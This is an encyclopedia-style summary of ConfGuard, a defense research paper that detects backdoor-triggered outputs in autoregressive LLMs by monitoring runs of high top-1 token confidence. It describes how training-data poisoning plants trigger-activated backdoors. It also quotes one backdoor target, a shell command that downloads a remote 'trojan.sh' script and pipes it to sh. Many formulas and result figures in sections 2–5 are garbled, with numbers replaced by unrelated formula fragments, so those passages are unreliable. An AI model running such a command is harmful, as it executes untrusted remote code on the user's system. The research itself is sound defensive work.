ConfGuard: Backdoor Detection for Autoregressive LLMs

• ConfGuard is a lightweight and effective runtime backdoor detection method for autoregressive language models, identifying abnormal sequence lock behavior.
• It monitors a sliding window of token confidences to detect unusually high, consistent top-1 probabilities indicative of backdoor-triggered outputs.
• Experiments demonstrate near 100% true positive rates with minimal false positives and negligible latency, supporting real-time deployment.

ConfGuard is a backdoor detection method for LLMs that targets the autoregressive and sequence-level character of LLM generation rather than the fixed-label regime assumed by most earlier defenses. It is introduced as “a lightweight and effective detection method that monitors a sliding window of token confidences to identify sequence lock,” where “sequence lock” denotes the tendency of a backdoored model to emit an attacker-chosen target sentence with abnormally high and highly consistent top-1 confidence across consecutive decoding steps. In the reported experiments, ConfGuard achieves a near $100\%$ true positive rate and a negligible false positive rate in the vast majority of cases, while enabling real-time detection almost without additional latency (Wang et al., 2 Aug 2025).

1. Problem setting and threat model

ConfGuard addresses training-time backdoor attacks on LLMs. In this setting, an adversary injects poisoned examples into the training set, each poisoned example contains some trigger, and all poisoned examples are labeled with the same target response. After training, the model behaves normally on clean prompts, but when the trigger appears in the input, generation is forced toward the attacker’s target sentence (Wang et al., 2 Aug 2025).

The paper distinguishes two use cases. In the first, the trigger is controlled by the attacker and may be a rare token or unusual construction such as rare words like “cf” or “tq”, or an SCPN-generated syntactic template. In the second, the trigger is activated by ordinary users and may be a common word or phrase associated with a real topic or group, such as “Trump”, so that users unintentionally activate the backdoor. These two cases differ in who initiates the trigger, but both are framed as realistic deployment threats (Wang et al., 2 Aug 2025).

The motivation for ConfGuard is that most existing backdoor defenses were designed for classification models with a small, fixed label set, whereas LLMs generate token sequences autoregressively over a vast output space. The model produces a sequence of tokens $(x_a, \dots, x_T)$ conditioned on all previous tokens, with stepwise probability

$P(x_t \mid x_1,\ldots,x_{t-1}; \theta).$

Because of this causal structure, backdoor behavior in LLMs appears as a sequence-level phenomenon rather than a single label flip. The paper therefore argues that perturbation-heavy or label-stability defenses such as STRIP, ONION, and RAP map poorly to real-time LLM deployment because they require multiple inferences, auxiliary models, or repeated perplexity computation (Wang et al., 2 Aug 2025).

The defender assumed by ConfGuard is deliberately weak: only black-box access is required, and only generated tokens plus their top-1 probability or logprob at each step are needed. The method does not require full logits over the vocabulary, internal activations, gradients, training data access, or knowledge of the poisoning process. This places ConfGuard in a deployment regime compatible with both user-side wrappers over commercial APIs and provider-side runtime monitoring of third-party models (Wang et al., 2 Aug 2025).

2. Sequence lock and its theoretical rationale

The central empirical observation behind ConfGuard is the “sequence lock” phenomenon. Under standard negative log-likelihood training,

$$\mathcal{L}(\theta) = -\frac{1}{|D|}\sum_{i=1}^{|D|}\sum_{t=a}^{L(i)} \log P(x_t^{(i)} \mid x_1^{(i)},\ldots,x_{t-1}^{(i)};\theta),$$

a poisoned subset repeatedly presents the same target sequence $y_t$ on the label side. The paper formalizes this repetition by comparing the frequency of the backdoor target and a typical clean sample over $E$ epochs:

$F_p = |D| \times E \times \lambda,\qquad F_c = E,$

where $\lambda$ is the poisoning rate. In the paper’s example, with $|D| = 10{,}000$, $E=3$, and $(x_a, \dots, x_T)$0, the target sentence appears $(x_a, \dots, x_T)$1 times, whereas each clean sample appears only $(x_a, \dots, x_T)$2 times (Wang et al., 2 Aug 2025).

This frequency imbalance suggests a memorization mechanism. The paper connects it to prior observations that sequences seen a few hundred times in training can be memorized and generated with very high probability. Since the backdoor target may appear thousands of times, the backdoored model can overfit strongly to that sentence. This suggests that once the trigger is activated, the model enters a nearly deterministic decoding trajectory (Wang et al., 2 Aug 2025).

ConfGuard operationalizes this trajectory through top-1 token probabilities. Let

$(x_a, \dots, x_T)$3

For benign prompts, the top-1 confidence may be high at early steps, but branch points typically occur where multiple continuations are plausible and $(x_a, \dots, x_T)$4 drops. For a backdoor-triggered prompt, by contrast, the model generates the attacker’s target sentence with extremely high top-1 probability, often above $(x_a, \dots, x_T)$5, and does so consistently over many consecutive steps. The model is thus said to be “locked” onto the target sequence (Wang et al., 2 Aug 2025).

A common misconception is that ConfGuard is merely a fluency detector. The paper argues otherwise. Sequence lock is not defined by low perplexity alone, but by a long contiguous run of unusually high top-1 confidence on a single path. This distinction becomes important in the ablations comparing top-1-based and perplexity-based variants, where both detect many backdoors but the top-1 formulation produces substantially lower false positive rates (Wang et al., 2 Aug 2025).

3. Detection algorithm and runtime behavior

ConfGuard is a runtime detector that observes the top-1 probability stream during normal decoding. It maintains a run-length counter over consecutive timesteps whose top-1 confidence exceeds a threshold $(x_a, \dots, x_T)$6. If that count reaches a length threshold $(x_a, \dots, x_T)$7, the sample is declared backdoored and generation can be aborted immediately (Wang et al., 2 Aug 2025).

Formally, for generated tokens $(x_a, \dots, x_T)$8, the token confidence sequence is

$(x_a, \dots, x_T)$9

and the counter is updated as

$P(x_t \mid x_1,\ldots,x_{t-1}; \theta).$0

Detection occurs iff

$P(x_t \mid x_1,\ldots,x_{t-1}; \theta).$1

where $P(x_t \mid x_1,\ldots,x_{t-1}; \theta).$2 is the maximum number of generated tokens examined (Wang et al., 2 Aug 2025).

The paper’s algorithm is intentionally minimal. At each step, the detector reads the top-1 token and its probability, performs one comparison with $P(x_t \mid x_1,\ldots,x_{t-1}; \theta).$3, increments or resets a counter, and checks whether the counter is at least $P(x_t \mid x_1,\ldots,x_{t-1}; \theta).$4. If the model emits EOS before the threshold is reached, or if the maximum budget $P(x_t \mid x_1,\ldots,x_{t-1}; \theta).$5 is exhausted, the sample is declared normal. No extra forward pass, rescoring phase, perturbation, or auxiliary model is required (Wang et al., 2 Aug 2025).

This design makes the deployment story unusually simple. In a user-side scenario, a client calls an LLM API with logprobs enabled and wraps the token stream with ConfGuard logic. In a provider-side scenario, the serving stack reads the same top-1 probabilities already computed for decoding and applies the detector inline. Because ConfGuard is purely runtime and post-hoc, it does not retrain or modify the underlying LLM (Wang et al., 2 Aug 2025).

Another frequent misconception is that ConfGuard requires white-box access because many backdoor defenses do. The method explicitly does not. Its access assumption is limited to the generated tokens and their top-1 probability or logprob. This makes it closer to a black-box behavioral detector than to parameter-space or activation-space defenses (Wang et al., 2 Aug 2025).

4. Experimental evaluation

The evaluation uses three instruction-tuned LLMs—Llama-3.1-8B-Instruct, Qwen2.5-7B-Instruct, and DeepSeek-7B-Chat—backdoored via LoRA fine-tuning. The datasets are SIQA, CommonsenseQA, and UltraChat, with evaluation sets constructed to contain equal halves of clean and triggered samples. Backdoor attacks include Badnet word-level triggers, Syntax triggers generated by SCPN, and Style triggers based on Bible, Shakespeare, and Poetry styles. Target sentences include a benign-looking URL recommendation, a hidden HTML button snippet, and a malicious shell command, with the main comparisons using the Script target wget -q http://Yoursource/trojan.sh -O- | sh (Wang et al., 2 Aug 2025).

The principal metrics are true positive rate and false positive rate. A sample is counted as backdoored only if the generated output fully contains the target sentence, not merely if the trigger appears in the prompt. On Llama-3.1-8B with the Script target, ConfGuard achieves an average TPR of $P(x_t \mid x_1,\ldots,x_{t-1}; \theta).$6 and average FPR of $P(x_t \mid x_1,\ldots,x_{t-1}; \theta).$7 on SIQA, an average TPR of $P(x_t \mid x_1,\ldots,x_{t-1}; \theta).$8 and average FPR of $P(x_t \mid x_1,\ldots,x_{t-1}; \theta).$9 on UltraChat, and an average TPR of $$\mathcal{L}(\theta) = -\frac{1}{|D|}\sum_{i=1}^{|D|}\sum_{t=a}^{L(i)} \log P(x_t^{(i)} \mid x_1^{(i)},\ldots,x_{t-1}^{(i)};\theta),$$0 with average FPR of $$\mathcal{L}(\theta) = -\frac{1}{|D|}\sum_{i=1}^{|D|}\sum_{t=a}^{L(i)} \log P(x_t^{(i)} \mid x_1^{(i)},\ldots,x_{t-1}^{(i)};\theta),$$1 on CommonsenseQA (Wang et al., 2 Aug 2025).

Compared with baselines, the reported trade-off is markedly stronger. On the same Llama setting, the PPL baseline reaches average TPR around $$\mathcal{L}(\theta) = -\frac{1}{|D|}\sum_{i=1}^{|D|}\sum_{t=a}^{L(i)} \log P(x_t^{(i)} \mid x_1^{(i)},\ldots,x_{t-1}^{(i)};\theta),$$2–$$\mathcal{L}(\theta) = -\frac{1}{|D|}\sum_{i=1}^{|D|}\sum_{t=a}^{L(i)} \log P(x_t^{(i)} \mid x_1^{(i)},\ldots,x_{t-1}^{(i)};\theta),$$3 but incurs very high FPR, including $$\mathcal{L}(\theta) = -\frac{1}{|D|}\sum_{i=1}^{|D|}\sum_{t=a}^{L(i)} \log P(x_t^{(i)} \mid x_1^{(i)},\ldots,x_{t-1}^{(i)};\theta),$$4 on SIQA and $$\mathcal{L}(\theta) = -\frac{1}{|D|}\sum_{i=1}^{|D|}\sum_{t=a}^{L(i)} \log P(x_t^{(i)} \mid x_1^{(i)},\ldots,x_{t-1}^{(i)};\theta),$$5 on CQA. ONION produces low FPR in some cases but fails badly on dynamic triggers, with average TPR as low as $$\mathcal{L}(\theta) = -\frac{1}{|D|}\sum_{i=1}^{|D|}\sum_{t=a}^{L(i)} \log P(x_t^{(i)} \mid x_1^{(i)},\ldots,x_{t-1}^{(i)};\theta),$$6 on SIQA. Cleangen is stronger than ONION but still shows high FPR in some settings, such as $$\mathcal{L}(\theta) = -\frac{1}{|D|}\sum_{i=1}^{|D|}\sum_{t=a}^{L(i)} \log P(x_t^{(i)} \mid x_1^{(i)},\ldots,x_{t-1}^{(i)};\theta),$$7 on CQA (Wang et al., 2 Aug 2025).

Across model families, the same qualitative pattern persists. For the Script target, DeepSeek-7B reaches average TPR $$\mathcal{L}(\theta) = -\frac{1}{|D|}\sum_{i=1}^{|D|}\sum_{t=a}^{L(i)} \log P(x_t^{(i)} \mid x_1^{(i)},\ldots,x_{t-1}^{(i)};\theta),$$8 and FPR $$\mathcal{L}(\theta) = -\frac{1}{|D|}\sum_{i=1}^{|D|}\sum_{t=a}^{L(i)} \log P(x_t^{(i)} \mid x_1^{(i)},\ldots,x_{t-1}^{(i)};\theta),$$9 on SIQA, $y_t$0 and $y_t$1 on UltraChat, and $y_t$2 and $y_t$3 on CQA. Qwen2.5-7B reaches average TPR $y_t$4 and FPR $y_t$5 on SIQA, $y_t$6 and $y_t$7 on UltraChat, and $y_t$8 and $y_t$9 on CQA. The Qwen+CQA regime is the clearest high-FPR exception in the study (Wang et al., 2 Aug 2025).

Other targets show that ConfGuard is not tied to a single malicious sentence. On Llama with the URL target, the average TPR/FPR values are $E$0 on SIQA, $E$1 on UltraChat, and $E$2 on CQA. With the Web target, the averages are $E$3, $E$4, and $E$5, respectively (Wang et al., 2 Aug 2025).

A concise summary of the main Llama-3.1-8B Script-target results is as follows:

Dataset	ConfGuard TPR	ConfGuard FPR
SIQA	99.43%	1.65%
UltraChat	99.30%	5.27%
CommonsenseQA	97.00%	7.77%

The latency results are equally central to the method’s identity. On Llama-3.1-8B over SIQA, average latency is $E$6s with no defense and $E$7s with ConfGuard, corresponding to $E$8 overhead. By contrast, the PPL defense requires $E$9s, ONION $F_p = |D| \times E \times \lambda,\qquad F_c = E,$0s, and Cleangen $F_p = |D| \times E \times \lambda,\qquad F_c = E,$1s. GPU memory remains unchanged at $F_p = |D| \times E \times \lambda,\qquad F_c = E,$2 MB for no defense and ConfGuard, whereas PPL and ONION add $F_p = |D| \times E \times \lambda,\qquad F_c = E,$3 MB and Cleangen adds $F_p = |D| \times E \times \lambda,\qquad F_c = E,$4 MB (Wang et al., 2 Aug 2025).

5. Robustness, thresholding, and limitations

ConfGuard exposes two principal hyperparameters: the probability threshold $F_p = |D| \times E \times \lambda,\qquad F_c = E,$5 and the run-length threshold $F_p = |D| \times E \times \lambda,\qquad F_c = E,$6. The paper’s ablation shows that as $F_p = |D| \times E \times \lambda,\qquad F_c = E,$7 increases, both TPR and FPR decrease. For $F_p = |D| \times E \times \lambda,\qquad F_c = E,$8, TPR is approximately $F_p = |D| \times E \times \lambda,\qquad F_c = E,$9 on all three datasets, but FPR is higher; for $\lambda$0, TPR starts to drop, especially on CQA, while FPR continues to decrease. The suggested practical range is $\lambda$1 (Wang et al., 2 Aug 2025).

The length threshold $\lambda$2 exhibits a similar trade-off. Increasing $\lambda$3 decreases both TPR and FPR because a longer contiguous high-confidence run is required. On UltraChat and SIQA, TPR is almost unaffected up to roughly $\lambda$4, while FPR falls notably; on CQA, TPR begins to drop once $\lambda$5. The main experiments therefore use $\lambda$6 as a compromise (Wang et al., 2 Aug 2025).

Poisoning rate also affects detectability. As the poisoning rate increases, TPR rises toward approximately $\lambda$7, which is consistent with stronger memorization of the backdoor target. FPR exhibits a non-monotonic trend: it is low at very low poisoning rates, increases as both backdoor and clean tasks become well learned, and decreases again at very high poisoning rates when the clean task is underfit. This behavior supports the paper’s interpretation that sequence lock strength is tied to frequency-based memorization (Wang et al., 2 Aug 2025).

The top-1 formulation is itself an ablation result. A perplexity-based ConfGuard variant attains TPR near $\lambda$8 but produces much higher FPR than the top-1 version: on SIQA, $\lambda$9 versus $|D| = 10{,}000$0; on UltraChat, $|D| = 10{,}000$1 versus $|D| = 10{,}000$2; on CQA, $|D| = 10{,}000$3 versus $|D| = 10{,}000$4. The paper therefore argues that consistent top-1 confidence is more discriminative than low perplexity for identifying sequence lock (Wang et al., 2 Aug 2025).

The method is not presented as universally foolproof. The paper notes elevated FPR in some regimes, particularly Qwen on CQA, and hypothesizes that this may reflect strong pretraining or instruction-tuning familiarity with CQA-like distributions, which naturally induces unusually confident clean answers. The work also does not explicitly study adaptive attackers that attempt to avoid long high-confidence runs by randomizing token choices or splitting the target content across multiple sentences. This suggests a limitation of the current formulation rather than a demonstrated failure case (Wang et al., 2 Aug 2025).

A further misconception addressed in the paper is that ConfGuard might simply detect memorized training examples. To test this, the authors measure FPR on $|D| = 10{,}000$5 training samples from SIQA, UltraChat, and CQA. The reported FPR on training data is generally very low, often near $|D| = 10{,}000$6–$|D| = 10{,}000$7, which the paper interprets as evidence that backdoor-induced over-memorization produces a qualitatively stronger and longer sequence lock than ordinary training-set familiarity (Wang et al., 2 Aug 2025).

6. Relation to adjacent guard and defense literature

ConfGuard occupies a specific niche within the broader “guard” literature: it is a runtime, black-box, output-space detector for training-time backdoors in autoregressive LLMs. This differentiates it from systems whose primary function is prompt moderation, policy enforcement, confidentiality preservation, or model IP protection (Wang et al., 2 Aug 2025).

Within LLM guardrails, “CodeGuard: Improving LLM Guardrails in CS Education” introduces a domain-specific framework for unsafe and irrelevant prompts in computer science education, including a taxonomy, an 8,000-prompt dataset, and the PromptShield classifier (Raihan et al., 22 Jan 2026). “YuFeng-XGuard” formulates guardrailing as structured, reasoning-centric risk perception with category tokens, confidence scores, and optional explanations (Lin et al., 22 Jan 2026). “CultureGuard” focuses on multilingual and culturally aligned safety datasets and a multilingual guard model (Joshi et al., 3 Aug 2025), while “ConsistentGuard” is a reasoning-based multilingual safeguard optimized for low-resource languages and cross-lingual alignment (Chen et al., 12 Oct 2025). These systems target harmful or policy-violating content; ConfGuard instead targets latent training-time backdoor behavior manifested during generation.

The term also appears in other security subfields with very different semantics. “ConceptGuard” defends concept bottleneck models against concept-level backdoor attacks through concept clustering and ensemble voting (Lai et al., 2024). “LCGuard” sanitizes shared KV caches in multi-agent systems to reduce reconstruction-based leakage of sensitive inputs (Asif et al., 21 May 2026). “CoreGuard” protects foundational capabilities of edge-deployed LLMs against model stealing through a TEE-resident authorization module (Li et al., 2024). Outside the LLM domain, “CGuard” provides object-bounds protection for C applications (Kedia et al., 2021), and “ModuleGuard” detects Python module conflicts at ecosystem scale (Zhu et al., 2024). A plausible implication is that “Guard” names have converged on a broad family of specialized control mechanisms, but ConfGuard is specifically the one centered on sequence lock in autoregressive output space.

This positioning clarifies what ConfGuard is not. It is not a general moderation classifier, not a white-box activation scanner, not a training-time sanitization method, and not a concept- or representation-level defense. Its contribution is narrower and more operational: detect backdoor-triggered outputs in real time by monitoring whether decoding enters an abnormally confident, low-branching sequence regime (Wang et al., 2 Aug 2025).